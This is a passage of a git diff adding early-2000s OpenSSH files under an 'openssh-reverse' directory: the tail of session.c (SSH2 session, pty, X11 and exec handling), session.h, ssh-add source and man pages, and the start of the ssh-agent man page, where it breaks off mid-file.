auth_proto, auth_data); + if (screen != NULL) + fprintf(stderr, + "Adding %.*s/unix%s %s %s\n", + screen-display, display, + screen, auth_proto, auth_data); + } + snprintf(cmd, sizeof cmd, "%s -q -", + options.xauth_location); + /* XXX */ + f = popen(cmd, "w"); + if (f) { + fprintf(f, "add %s %s %s\n", display, + auth_proto, auth_data); + if (screen != NULL) + fprintf(f, "add %.*s/unix%s %s %s\n", + screen-display, display, + screen, auth_proto, auth_data); + pclose(f); + } else { + fprintf(stderr, "Could not run %s\n", + cmd); + } + } + } + /* Get the last component of the shell name. */ + cp = strrchr(shell, '/'); + if (cp) + cp++; + else + cp = shell; + } + /* + * If we have no command, execute the shell. In this case, the shell + * name to be passed in argv[0] is preceded by '-' to indicate that + * this is a login shell. + */ + if (!command) { + if (!options.use_login) { + char buf[256]; + + memset(buf, 0, sizeof(buf)); + /* + * Check for mail if we have a tty and it was enabled + * in server options. + */ + if (ttyname && options.check_mail) { + char *mailbox; + struct stat mailstat; + mailbox = getenv("MAIL"); + if (mailbox != NULL) { + if (stat(mailbox, &mailstat) != 0 || + mailstat.st_size == 0) + printf("No mail.\n"); + else if (mailstat.st_mtime < mailstat.st_atime) + printf("You have mail.\n"); + else + printf("You have new mail.\n"); + } + } + /* Start the shell. Set initial character to '-'. */ + buf[0] = '-'; + strncpy(buf + 1, cp, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = 0; + + /* Execute the shell. */ + argv[0] = buf; + argv[1] = NULL; + + execve(shell, argv, env); + + /* Executing the shell failed. */ + perror(shell); + exit(1); + + } else { + /* Launch login(1). */ + + execl(LOGIN_PROGRAM, "login", "-h", get_remote_ipaddr(), + "-p", "-f", "--", pw->pw_name, NULL); + + /* Login couldn't be executed, die. */ + + perror("login"); + exit(1); + } + } + /* + * Execute the command using the user's shell. This uses the -c + * option to execute the command. + */ + argv[0] = (char *) cp; + argv[1] = "-c"; + argv[2] = (char *) command; + argv[3] = NULL; + execve(shell, argv, env); + perror(shell); + exit(1); +} + +Session * +session_new(void) +{ + int i; + static int did_init = 0; + if (!did_init) { + debug("session_new: init"); + for(i = 0; i < MAX_SESSIONS; i++) { + sessions[i].used = 0; + sessions[i].self = i; + } + did_init = 1; + } + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (! s->used) { + s->pid = 0; + s->extended = 0; + s->chanid = -1; + s->ptyfd = -1; + s->ttyfd = -1; + s->term = NULL; + s->pw = NULL; + s->display = NULL; + s->screen = 0; + s->auth_data = NULL; + s->auth_proto = NULL; + s->used = 1; + s->pw = NULL; + debug("session_new: session %d", i); + return s; + } + } + return NULL; +} + +void +session_dump(void) +{ + int i; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + debug("dump: used %d session %d %p channel %d pid %d", + s->used, + s->self, + s, + s->chanid, + s->pid); + } +} + +int +session_open(int chanid) +{ + Session *s = session_new(); + debug("session_open: channel %d", chanid); + if (s == NULL) { + error("no more sessions"); + return 0; + } + s->pw = auth_get_user(); + if (s->pw == NULL) + fatal("no user for session %i", s->self); + debug("session_open: session %d: link with channel %d", s->self, chanid); + s->chanid = chanid; + return 1; +} + +Session * +session_by_channel(int id) +{ + int i; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->chanid == id) { + debug("session_by_channel: session %d channel %d", i, id); + return s; + } + } + debug("session_by_channel: unknown channel %d", id); + session_dump(); + return NULL; +} + +Session * +session_by_pid(pid_t pid) +{ + int i; + debug("session_by_pid: pid %d", pid); + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->pid == pid) + return s; + } + error("session_by_pid: unknown pid %d", pid); + session_dump(); + return NULL; +} + +int +session_window_change_req(Session *s) +{ + s->col = packet_get_int(); + s->row = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + packet_done(); + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + return 1; +} + +int +session_pty_req(Session *s) +{ + unsigned int len; + char *term_modes; /* encoded terminal modes */ + + if (no_pty_flag) + return 0; + if (s->ttyfd != -1) + return 0; + s->term = packet_get_string(&len); + s->col = packet_get_int(); + s->row = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + term_modes = packet_get_string(&len); + packet_done(); + + if (strcmp(s->term, "") == 0) { + xfree(s->term); + s->term = NULL; + } + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { + xfree(s->term); + s->term = NULL; + s->ptyfd = -1; + s->ttyfd = -1; + error("session_pty_req: session %d alloc failed", s->self); + xfree(term_modes); + return 0; + } + debug("session_pty_req: session %d alloc %s", s->self, s->tty); + /* + * Add a cleanup function to clear the utmp entry and record logout + * time in case we call fatal() (e.g., the connection gets closed). + */ + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(s->pw, s->tty); + /* Get window size from the packet. */ + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + + session_proctitle(s); + + /* XXX parse and set terminal modes */ + xfree(term_modes); + return 1; +} + +int +session_subsystem_req(Session *s) +{ + unsigned int len; + int success = 0; + char *subsys = packet_get_string(&len); + int i; + + packet_done(); + log("subsystem request for %s", subsys); + + for (i = 0; i < options.num_subsystems; i++) { + if(strcmp(subsys, options.subsystem_name[i]) == 0) { + debug("subsystem: exec() %s", options.subsystem_command[i]); + do_exec_no_pty(s, options.subsystem_command[i], s->pw); + success = 1; + } + } + + if (!success) + log("subsystem request for %s failed, subsystem not found", subsys); + + xfree(subsys); + return success; +} + +int +session_x11_req(Session *s) +{ + if (no_x11_forwarding_flag) { + debug("X11 forwarding disabled in user configuration file."); + return 0; + } + if (!options.x11_forwarding) { + debug("X11 forwarding disabled in server configuration file."); + return 0; + } + if (xauthfile != NULL) { + debug("X11 fwd already started."); + return 0; + } + + debug("Received request for X11 forwarding with auth spoofing."); + if (s->display != NULL) + packet_disconnect("Protocol error: X11 display already set."); + + s->single_connection = packet_get_char(); + s->auth_proto = packet_get_string(NULL); + s->auth_data = packet_get_string(NULL); + s->screen = packet_get_int(); + packet_done(); + + s->display = x11_create_display_inet(s->screen, options.x11_display_offset); + if (s->display == NULL) { + xfree(s->auth_proto); + xfree(s->auth_data); + return 0; + } + xauthfile = xmalloc(MAXPATHLEN); + strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN); + temporarily_use_uid(s->pw->pw_uid); + if (mkdtemp(xauthfile) == NULL) { + restore_uid(); + error("private X11 dir: mkdtemp %s failed: %s", + xauthfile, strerror(errno)); + xfree(xauthfile); + xauthfile = NULL; + xfree(s->auth_proto); + xfree(s->auth_data); + /* XXXX remove listening channels */ + return 0; + } + strlcat(xauthfile, "/cookies", MAXPATHLEN); + open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600); + restore_uid(); + fatal_add_cleanup(xauthfile_cleanup_proc, s); + return 1; +} + +int +session_shell_req(Session *s) +{ + /* if forced_command == NULL, the shell is execed */ + char *shell = forced_command; + packet_done(); + s->extended = 1; + if (s->ttyfd == -1) + do_exec_no_pty(s, shell, s->pw); + else + do_exec_pty(s, shell, s->pw); + return 1; +} + +int +session_exec_req(Session *s) +{ + unsigned int len; + char *command = packet_get_string(&len); + packet_done(); + if (forced_command) { + xfree(command); + command = forced_command; + debug("Forced command '%.500s'", forced_command); + } + s->extended = 1; + if (s->ttyfd == -1) + do_exec_no_pty(s, command, s->pw); + else + do_exec_pty(s, command, s->pw); + if (forced_command == NULL) + xfree(command); + return 1; +} + +void +session_input_channel_req(int id, void *arg) +{ + unsigned int len; + int reply; + int success = 0; + char *rtype; + Session *s; + Channel *c; + + rtype = packet_get_string(&len); + reply = packet_get_char(); + + s = session_by_channel(id); + if (s == NULL) + fatal("session_input_channel_req: channel %d: no session", id); + c = channel_lookup(id); + if (c == NULL) + fatal("session_input_channel_req: channel %d: bad channel", id); + + debug("session_input_channel_req: session %d channel %d request %s reply %d", + s->self, id, rtype, reply); + + /* + * a session is in LARVAL state until a shell + * or programm is executed + */ + if (c->type == SSH_CHANNEL_LARVAL) { + if (strcmp(rtype, "shell") == 0) { + success = session_shell_req(s); + } else if (strcmp(rtype, "exec") == 0) { + success = session_exec_req(s); + } else if (strcmp(rtype, "pty-req") == 0) { + success = session_pty_req(s); + } else if (strcmp(rtype, "x11-req") == 0) { + success = session_x11_req(s); + } else if (strcmp(rtype, "subsystem") == 0) { + success = session_subsystem_req(s); + } + } + if (strcmp(rtype, "window-change") == 0) { + success = session_window_change_req(s); + } + + if (reply) { + packet_start(success ? + SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE); + packet_put_int(c->remote_id); + packet_send(); + } + xfree(rtype); +} + +void +session_set_fds(Session *s, int fdin, int fdout, int fderr) +{ + if (!compat20) + fatal("session_set_fds: called for proto != 2.0"); + /* + * now that have a child and a pipe to the child, + * we can activate our channel and register the fd's + */ + if (s->chanid == -1) + fatal("no channel for session %d", s->self); + channel_set_fds(s->chanid, + fdout, fdin, fderr, + fderr == -1 ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ); +} + +void +session_pty_cleanup(Session *s) +{ + if (s == NULL || s->ttyfd == -1) + return; + + debug("session_pty_cleanup: session %i release %s", s->self, s->tty); + + /* Cancel the cleanup function. */ + fatal_remove_cleanup(pty_cleanup_proc, (void *)s); + + /* Record that the user has logged out. */ + record_logout(s->pid, s->tty); + + /* Release the pseudo-tty. */ + pty_release(s->tty); + + /* + * Close the server side of the socket pairs. We must do this after + * the pty cleanup, so that another process doesn't get this pty + * while we're still cleaning up. + */ + if (close(s->ptymaster) < 0) + error("close(s->ptymaster): %s", strerror(errno)); +} + +void +session_exit_message(Session *s, int status) +{ + Channel *c; + if (s == NULL) + fatal("session_close: no session"); + c = channel_lookup(s->chanid); + if (c == NULL) + fatal("session_close: session %d: no channel %d", + s->self, s->chanid); + debug("session_exit_message: session %d channel %d pid %d", + s->self, s->chanid, s->pid); + + if (WIFEXITED(status)) { + channel_request_start(s->chanid, + "exit-status", 0); + packet_put_int(WEXITSTATUS(status)); + packet_send(); + } else if (WIFSIGNALED(status)) { + channel_request_start(s->chanid, + "exit-signal", 0); + packet_put_int(WTERMSIG(status)); +#ifdef WCOREDUMP + packet_put_char(WCOREDUMP(status)); +#else /* WCOREDUMP */ + packet_put_char(0); +#endif /* WCOREDUMP */ + packet_put_cstring(""); + packet_put_cstring(""); + packet_send(); + } else { + /* Some weird exit cause. Just exit. */ + packet_disconnect("wait returned status %04x.", status); + } + + /* disconnect channel */ + debug("session_exit_message: release channel %d", s->chanid); + channel_cancel_cleanup(s->chanid); + /* + * emulate a write failure with 'chan_write_failed', nobody will be + * interested in data we write. + * Note that we must not call 'chan_read_failed', since there could + * be some more data waiting in the pipe. + */ + if (c->ostate != CHAN_OUTPUT_CLOSED) + chan_write_failed(c); + s->chanid = -1; +} + +void +session_free(Session *s) +{ + debug("session_free: session %d pid %d", s->self, s->pid); + if (s->term) + xfree(s->term); + if (s->display) + xfree(s->display); + if (s->auth_data) + xfree(s->auth_data); + if (s->auth_proto) + xfree(s->auth_proto); + s->used = 0; +} + +void +session_close(Session *s) +{ + session_pty_cleanup(s); + session_free(s); + session_proctitle(s); +} + +void +session_close_by_pid(pid_t pid, int status) +{ + Session *s = session_by_pid(pid); + if (s == NULL) { + debug("session_close_by_pid: no session for pid %d", s->pid); + return; + } + if (s->chanid != -1) + session_exit_message(s, status); + session_close(s); +} + +/* + * this is called when a channel dies before + * the session 'child' itself dies + */ +void +session_close_by_channel(int id, void *arg) +{ + Session *s = session_by_channel(id); + if (s == NULL) { + debug("session_close_by_channel: no session for channel %d", id); + return; + } + /* disconnect channel */ + channel_cancel_cleanup(s->chanid); + s->chanid = -1; + + debug("session_close_by_channel: channel %d kill %d", id, s->pid); + if (s->pid == 0) { + /* close session immediately */ + session_close(s); + } else { + /* notify child, delay session cleanup */ + if (s->pid <= 1) + fatal("session_close_by_channel: Unsafe s->pid = %d", s->pid); + if (kill(s->pid, (s->ttyfd == -1) ? SIGTERM : SIGHUP) < 0) + error("session_close_by_channel: kill %d: %s", + s->pid, strerror(errno)); + } +} + +char * +session_tty_list(void) +{ + static char buf[1024]; + int i; + buf[0] = '\0'; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->ttyfd != -1) { + if (buf[0] != '\0') + strlcat(buf, ",", sizeof buf); + strlcat(buf, strrchr(s->tty, '/') + 1, sizeof buf); + } + } + if (buf[0] == '\0') + strlcpy(buf, "notty", sizeof buf); + return buf; +} + +void +session_proctitle(Session *s) +{ + if (s->pw == NULL) + error("no user for session %d", s->self); + else + setproctitle("%s@%s", s->pw->pw_name, session_tty_list()); +} + +void +do_authenticated2(void) +{ + /* + * Cancel the alarm we set to limit the time taken for + * authentication. + */ + alarm(0); + if (startup_pipe != -1) { + close(startup_pipe); + startup_pipe = -1; + } + server_loop2(); + if (xauthfile) + xauthfile_cleanup_proc(NULL); +} diff --git a/other/openssh-reverse/session.h b/other/openssh-reverse/session.h new file mode 100644 index 0000000..a3427bc --- /dev/null +++ b/other/openssh-reverse/session.h @@ -0,0 +1,14 @@ +#ifndef SESSION_H +#define SESSION_H + +/* SSH1 */ +void do_authenticated(struct passwd * pw); + +/* SSH2 */ +void do_authenticated2(void); +int session_open(int id); +void session_input_channel_req(int id, void *arg); +void session_close_by_pid(pid_t pid, int status); +void session_close_by_channel(int id, void *arg); + +#endif diff --git a/other/openssh-reverse/ssh-add.0 b/other/openssh-reverse/ssh-add.0 new file mode 100644 index 0000000..2901f48 --- /dev/null +++ b/other/openssh-reverse/ssh-add.0 @@ -0,0 +1,78 @@ + +SSH-ADD(1) System Reference Manual SSH-ADD(1) + +NAME + ssh-add - adds RSA identities for the authentication agent + +SYNOPSIS + ssh-add [-lLdD] [file ...] + +DESCRIPTION + ssh-add adds RSA identities to the authentication agent, ssh-agent(1). + When run without arguments, it adds the file $HOME/.ssh/identity. Alter- + native file names can be given on the command line. If any file requires + a passphrase, ssh-add asks for the passphrase from the user. The + Passphrase it is read from the user's tty. + + The authentication agent must be running and must be an ancestor of the + current process for ssh-add to work. + + The options are as follows: + + -l Lists fingerprints of all identities currently represented by the + agent. + + -L Lists public key parameters of all identities currently repre- + sented by the agent. + + -d Instead of adding the identity, removes the identity from the + agent. + + -D Deletes all identities from the agent. + +FILES + $HOME/.ssh/identity + Contains the RSA authentication identity of the user. This file + should not be readable by anyone but the user. Note that ssh-add + ignores this file if it is accessible by others. It is possible + to specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file. This is + the default file added by ssh-add when no other files have been + specified. + +ENVIRONMENT + DISPLAY and SSH_ASKPASS + If ssh-add needs a passphrase, it will read the passphrase from + the current terminal if it was run from a terminal. If ssh-add + does not have a terminal associated with it but DISPLAY and + SSH_ASKPASS are set, it will execute the program specified by + SSH_ASKPASS and open an X11 window to read the passphrase. This + is particularly useful when calling ssh-add from a .Xsession or + related script. (Note that on some machines it may be necessary + to redirect the input from /dev/null to make this work.) + +AUTHOR + Tatu Ylonen + + OpenSSH is a derivative of the original (free) ssh 1.2.12 release, but + with bugs removed and newer features re-added. Rapidly after the 1.2.12 + release, newer versions bore successively more restrictive licenses. + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + + + chosen from external libraries. + + o has been updated to support ssh protocol 1.5. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + +SEE ALSO + ssh(1), ssh-agent(1), ssh-keygen(1), sshd(8), + +BSD Experimental September 25, 1999 2 diff --git a/other/openssh-reverse/ssh-add.1 b/other/openssh-reverse/ssh-add.1 new file mode 100644 index 0000000..9d12b01 --- /dev/null +++ b/other/openssh-reverse/ssh-add.1 @@ -0,0 +1,121 @@ +.\" -*- nroff -*- +.\" +.\" ssh-add.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 23:55:14 1995 ylo +.\" +.\" $Id: ssh-add.1,v 1.13 2000/05/03 18:04:38 markus Exp $ +.\" +.Dd September 25, 1999 +.Dt SSH-ADD 1 +.Os +.Sh NAME +.Nm ssh-add +.Nd adds RSA identities for the authentication agent +.Sh SYNOPSIS +.Nm ssh-add +.Op Fl lLdD +.Op Ar +.Sh DESCRIPTION +.Nm +adds RSA identities to the authentication agent, +.Xr ssh-agent 1 . +When run without arguments, it adds the file +.Pa $HOME/.ssh/identity . +Alternative file names can be given on the command line. +If any file requires a passphrase, +.Nm +asks for the passphrase from the user. +The Passphrase it is read from the user's tty. +.Pp +The authentication agent must be running and must be an ancestor of +the current process for +.Nm +to work. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl l +Lists fingerprints of all identities currently represented by the agent. +.It Fl L +Lists public key parameters of all identities currently represented by the agent. +.It Fl d +Instead of adding the identity, removes the identity from the agent. +.It Fl D +Deletes all identities from the agent. +.El +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the RSA authentication identity of the user. +This file should not be readable by anyone but the user. +Note that +.Nm +ignores this file if it is accessible by others. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file. +This is the default file added by +.Nm +when no other files have been specified. +.Pp +.Sh ENVIRONMENT +.Bl -tag -width Ds +.It Ev "DISPLAY" and "SSH_ASKPASS" +If +.Nm +needs a passphrase, it will read the passphrase from the current +terminal if it was run from a terminal. +If +.Nm +does not have a terminal associated with it but +.Ev DISPLAY +and +.Ev SSH_ASKPASS +are set, it will execute the program specified by +.Ev SSH_ASKPASS +and open an X11 window to read the passphrase. +This is particularly useful when calling +.Nm +from a +.Pa .Xsession +or related script. +(Note that on some machines it +may be necessary to redirect the input from +.Pa /dev/null +to make this work.) +.Sh AUTHOR +Tatu Ylonen +.Pp +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release, but with bugs +removed and newer features re-added. +Rapidly after the 1.2.12 release, +newer versions bore successively more restrictive licenses. +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support ssh protocol 1.5. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 , diff --git a/other/openssh-reverse/ssh-add.c b/other/openssh-reverse/ssh-add.c new file mode 100644 index 0000000..a5d785c --- /dev/null +++ b/other/openssh-reverse/ssh-add.c @@ -0,0 +1,266 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Thu Apr 6 00:52:24 1995 ylo + * Adds an identity to the authentication server, or removes an identity. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-add.c,v 1.17 2000/06/20 01:39:44 markus Exp $"); + +#include +#include + +#include "rsa.h" +#include "ssh.h" +#include "xmalloc.h" +#include "authfd.h" +#include "fingerprint.h" +#include "key.h" +#include "authfile.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh-add"; +#endif /* HAVE___PROGNAME */ + +void +delete_file(AuthenticationConnection *ac, const char *filename) +{ + Key *public; + char *comment; + + public = key_new(KEY_RSA); + if (!load_public_key(filename, public, &comment)) { + printf("Bad key file %s: %s\n", filename, strerror(errno)); + return; + } + if (ssh_remove_identity(ac, public->rsa)) + fprintf(stderr, "Identity removed: %s (%s)\n", filename, comment); + else + fprintf(stderr, "Could not remove identity: %s\n", filename); + key_free(public); + xfree(comment); +} + +void +delete_all(AuthenticationConnection *ac) +{ + /* Send a request to remove all identities. */ + if (ssh_remove_all_identities(ac)) + fprintf(stderr, "All identities removed.\n"); + else + fprintf(stderr, "Failed to remove all identitities.\n"); +} + +char * +ssh_askpass(char *askpass, char *msg) +{ + pid_t pid; + size_t len; + char *nl, *pass; + int p[2], status; + char buf[1024]; + + if (askpass == NULL) + fatal("internal error: askpass undefined"); + if (pipe(p) < 0) + fatal("ssh_askpass: pipe: %s", strerror(errno)); + if ((pid = fork()) < 0) + fatal("ssh_askpass: fork: %s", strerror(errno)); + if (pid == 0) { + close(p[0]); + if (dup2(p[1], STDOUT_FILENO) < 0) + fatal("ssh_askpass: dup2: %s", strerror(errno)); + execlp(askpass, askpass, msg, (char *) 0); + fatal("ssh_askpass: exec(%s): %s", askpass, strerror(errno)); + } + close(p[1]); + len = read(p[0], buf, sizeof buf); + close(p[0]); + while (waitpid(pid, &status, 0) < 0) + if (errno != EINTR) + break; + if (len <= 1) + return xstrdup(""); + nl = strchr(buf, '\n'); + if (nl) + *nl = '\0'; + pass = xstrdup(buf); + memset(buf, 0, sizeof(buf)); + return pass; +} + +void +add_file(AuthenticationConnection *ac, const char *filename) +{ + Key *public; + Key *private; + char *saved_comment, *comment, *askpass = NULL; + char buf[1024], msg[1024]; + int success; + int interactive = isatty(STDIN_FILENO); + + public = key_new(KEY_RSA); + if (!load_public_key(filename, public, &saved_comment)) { + printf("Bad key file %s: %s\n", filename, strerror(errno)); + return; + } + key_free(public); + + if (!interactive && getenv("DISPLAY")) { + if (getenv(SSH_ASKPASS_ENV)) + askpass = getenv(SSH_ASKPASS_ENV); + else + askpass = SSH_ASKPASS_DEFAULT; + } + + /* At first, try empty passphrase */ + private = key_new(KEY_RSA); + success = load_private_key(filename, "", private, &comment); + if (!success) { + printf("Need passphrase for %.200s\n", filename); + if (!interactive && askpass == NULL) { + xfree(saved_comment); + return; + } + snprintf(msg, sizeof msg, "Enter passphrase for %.200s", saved_comment); + for (;;) { + char *pass; + if (interactive) { + snprintf(buf, sizeof buf, "%s: ", msg); + pass = read_passphrase(buf, 1); + } else { + pass = ssh_askpass(askpass, msg); + } + if (strcmp(pass, "") == 0) { + xfree(pass); + xfree(saved_comment); + return; + } + success = load_private_key(filename, pass, private, &comment); + memset(pass, 0, strlen(pass)); + xfree(pass); + if (success) + break; + strlcpy(msg, "Bad passphrase, try again", sizeof msg); + } + } + xfree(saved_comment); + + if (ssh_add_identity(ac, private->rsa, comment)) + fprintf(stderr, "Identity added: %s (%s)\n", filename, comment); + else + fprintf(stderr, "Could not add identity: %s\n", filename); + key_free(private); + xfree(comment); +} + +void +list_identities(AuthenticationConnection *ac, int fp) +{ + BIGNUM *e, *n; + int status; + char *comment; + int had_identities; + + e = BN_new(); + n = BN_new(); + had_identities = 0; + for (status = ssh_get_first_identity(ac, e, n, &comment); + status; + status = ssh_get_next_identity(ac, e, n, &comment)) { + unsigned int bits = BN_num_bits(n); + had_identities = 1; + if (fp) { + printf("%d %s %s\n", bits, fingerprint(e, n), comment); + } else { + char *ebuf, *nbuf; + ebuf = BN_bn2dec(e); + if (ebuf == NULL) { + error("list_identities: BN_bn2dec(e) failed."); + } else { + nbuf = BN_bn2dec(n); + if (nbuf == NULL) { + error("list_identities: BN_bn2dec(n) failed."); + } else { + printf("%d %s %s %s\n", bits, ebuf, nbuf, comment); + free(nbuf); + } + free(ebuf); + } + } + xfree(comment); + } + BN_clear_free(e); + BN_clear_free(n); + if (!had_identities) + printf("The agent has no identities.\n"); +} + +int +main(int argc, char **argv) +{ + AuthenticationConnection *ac = NULL; + struct passwd *pw; + char buf[1024]; + int no_files = 1; + int i; + int deleting = 0; + + init_rng(); + + /* check if RSA support exists */ + if (rsa_alive() == 0) { + fprintf(stderr, + "%s: no RSA support in libssl and libcrypto. See ssl(8).\n", + __progname); + exit(1); + } + /* At first, get a connection to the authentication agent. */ + ac = ssh_get_authentication_connection(); + if (ac == NULL) { + fprintf(stderr, "Could not open a connection to your authentication agent.\n"); + exit(1); + } + for (i = 1; i < argc; i++) { + if ((strcmp(argv[i], "-l") == 0) || + (strcmp(argv[i], "-L") == 0)) { + list_identities(ac, argv[i][1] == 'l' ? 1 : 0); + /* Don't default-add/delete if -l. */ + no_files = 0; + continue; + } + if (strcmp(argv[i], "-d") == 0) { + deleting = 1; + continue; + } + if (strcmp(argv[i], "-D") == 0) { + delete_all(ac); + no_files = 0; + continue; + } + no_files = 0; + if (deleting) + delete_file(ac, argv[i]); + else + add_file(ac, argv[i]); + } + if (no_files) { + pw = getpwuid(getuid()); + if (!pw) { + fprintf(stderr, "No user found with uid %d\n", (int) getuid()); + ssh_close_authentication_connection(ac); + exit(1); + } + snprintf(buf, sizeof buf, "%s/%s", pw->pw_dir, SSH_CLIENT_IDENTITY); + if (deleting) + delete_file(ac, buf); + else + add_file(ac, buf); + } + ssh_close_authentication_connection(ac); + exit(0); +} diff --git a/other/openssh-reverse/ssh-agent.0 b/other/openssh-reverse/ssh-agent.0 new file mode 100644 index 0000000..d87c6ec --- /dev/null +++ b/other/openssh-reverse/ssh-agent.0 @@ -0,0 +1,104 @@ + +SSH-AGENT(1) System Reference Manual SSH-AGENT(1) + +NAME + ssh-agent - authentication agent + +SYNOPSIS + ssh-agent [-c | -s] [-k] [command [args ...]] + +DESCRIPTION + ssh-agent is a program to hold private keys used for RSA authentication. + The idea is that ssh-agent is started in the beginning of an X-session or + a login session, and all other windows or programs are started as clients + to the ssh-agent program. Through use of environment variables the agent + can be located and automatically used for RSA authentication when logging + in to other machines using ssh(1). + + The options are as follows: + + -c Generate C-shell commands on stdout. This is the default if SHELL + looks like it's a csh style of shell. + + -s Generate Bourne shell commands on stdout. This is the default if + SHELL does not look like it's a csh style of shell. + + -k Kill the current agent (given by the SSH_AGENT_PID environment + variable). + + If a commandline is given, this is executed as a subprocess of the agent. + When the command dies, so does the agent. + + The agent initially does not have any private keys. Keys are added using + ssh-add(1). When executed without arguments, ssh-add(1) adds the + $HOME/.ssh/identity file. If the identity has a passphrase, ssh-add(1) + asks for the passphrase (using a small X11 application if running under + X11, or from the terminal if running without X). It then sends the iden- + tity to the agent. Several identities can be stored in the agent; the + agent can automatically use any of these identities. ssh-add -l displays + the identities currently held by the agent. + + The idea is that the agent is run in the user's local PC, laptop, or ter- + minal. Authentication data need not be stored on any other machine, and + authentication passphrases never go over the network. However, the con- + nection to the agent is forwarded over SSH remote logins, and the user + can thus use the privileges given by the identities anywhere in the net- + work in a secure way. + + There are two main ways to get an agent setup: Either you let the agent + start a new subcommand into which some environment variables are export- + ed, or you let the agent print the needed shell commands (either sh(1) or + csh(1) syntax can be generated) which can be evalled in the calling + shell. Later ssh(1) look at these variables and use them to establish a + connection to the agent. + + A unix-domain socket is created (/tmp/ssh-XXXXXXXX/agent.), and the + name of this socket is stored in the SSH_AUTH_SOCK environment variable. + The socket is made accessible only to the current user. This method is + easily abused by root or another instance of the same user. + + The SSH_AGENT_PID environment variable holds the agent's PID. + + The agent exits automatically when the command given on the command line + terminates. + +FILES + + + $HOME/.ssh/identity + Contains the RSA authentication identity of the user. This file + should not be readable by anyone but the user. It is possible to + specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file. This file + is not used by ssh-agent but is normally added to the agent using + ssh-add(1) at login time. + + /tmp/ssh-XXXX/agent., + Unix-domain sockets used to contain the connection to the authen- + tication agent. These sockets should only be readable by the + owner. The sockets should get automatically removed when the + agent exits. + +AUTHOR + Tatu Ylonen + + OpenSSH is a derivative of the original (free) ssh 1.2.12 release, but + with bugs removed and newer features re-added. Rapidly after the 1.2.12 + release, newer versions bore successively more restrictive licenses. + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + chosen from external libraries. + + o has been updated to support ssh protocol 1.5. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + +SEE ALSO + ssh(1), ssh-add(1), ssh-keygen(1), sshd(8), + +BSD Experimental September 25, 1999 2 diff --git a/other/openssh-reverse/ssh-agent.1 b/other/openssh-reverse/ssh-agent.1 new file mode 100644 index 0000000..47b1e5c --- /dev/null +++ b/other/openssh-reverse/ssh-agent.1 @@ -0,0 +1,167 @@ +.\" $OpenBSD: ssh-agent.1,v 1.13 2000/07/06 04:06:56 aaron Exp $ +.\" +.\" -*- nroff -*- +.\" +.\" ssh-agent.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 23 20:10:43 1995 ylo +.\" +.Dd September 25, 1999 +.Dt SSH-AGENT 1 +.Os +.Sh NAME +.Nm ssh-agent +.Nd authentication agent +.Sh SYNOPSIS +.Nm ssh-agent +.Op Fl c Li | Fl s +.Op Fl k +.Oo +.Ar command +.Op Ar args ... +.Oc +.Sh DESCRIPTION +.Nm +is a program to hold private keys used for RSA authentication. +The idea is that +.Nm +is started in the beginning of an X-session or a login session, and +all other windows or programs are started as clients to the ssh-agent +program. +Through use of environment variables the agent can be located +and automatically used for RSA authentication when logging in to other +machines using +.Xr ssh 1 . +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl c +Generate C-shell commands on +.Dv stdout . +This is the default if +.Ev SHELL +looks like it's a csh style of shell. +.It Fl s +Generate Bourne shell commands on +.Dv stdout . +This is the default if +.Ev SHELL +does not look like it's a csh style of shell. +.It Fl k +Kill the current agent (given by the +.Ev SSH_AGENT_PID +environment variable). +.El +.Pp +If a commandline is given, this is executed as a subprocess of the agent. +When the command dies, so does the agent. +.Pp +The agent initially does not have any private keys. +Keys are added using +.Xr ssh-add 1 . +When executed without arguments, +.Xr ssh-add 1 +adds the 